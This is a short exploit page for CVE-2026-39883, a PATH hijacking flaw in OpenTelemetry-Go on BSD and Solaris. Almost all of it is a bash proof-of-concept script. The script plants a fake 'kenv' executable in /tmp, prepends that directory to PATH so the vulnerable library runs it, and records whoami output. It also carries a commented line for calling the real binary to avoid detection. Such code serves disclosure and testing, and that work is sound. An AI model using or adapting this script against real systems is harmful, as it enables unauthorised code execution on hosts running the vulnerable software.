CVE-2026-39883 OpenTelemetry-Go PATH劫持漏洞

#!/bin/bash # PoC for CVE-2026-39883: OpenTelemetry-Go PATH Hijacking on BSD/Solaris # Description: Create a malicious 'kenv' executable and prepend it to PATH. # 1. Create a directory for the malicious payload mkdir -p /tmp/exploit_dir # 2. Create the malicious 'kenv' file cat > /tmp/exploit_dir/kenv <<'EOF' #!/bin/sh # Malicious code execution echo "[+] CVE-2026-39883 Exploited!" whoami > /tmp/pwned.txt # Optionally execute original command if needed to avoid detection # /usr/bin/kenv "$@" EOF # 3. Make it executable chmod +x /tmp/exploit_dir/kenv # 4. Prepend the directory to PATH export PATH=/tmp/exploit_dir:$PATH # 5. Trigger the vulnerability by running the vulnerable application # Example: go run main.go (where main.go imports vulnerable OpenTelemetry-Go) echo "[+] PATH modified. Triggering the vulnerable application now..." # The application will call exec.Command("kenv", ...) # which resolves to /tmp/exploit_dir/kenv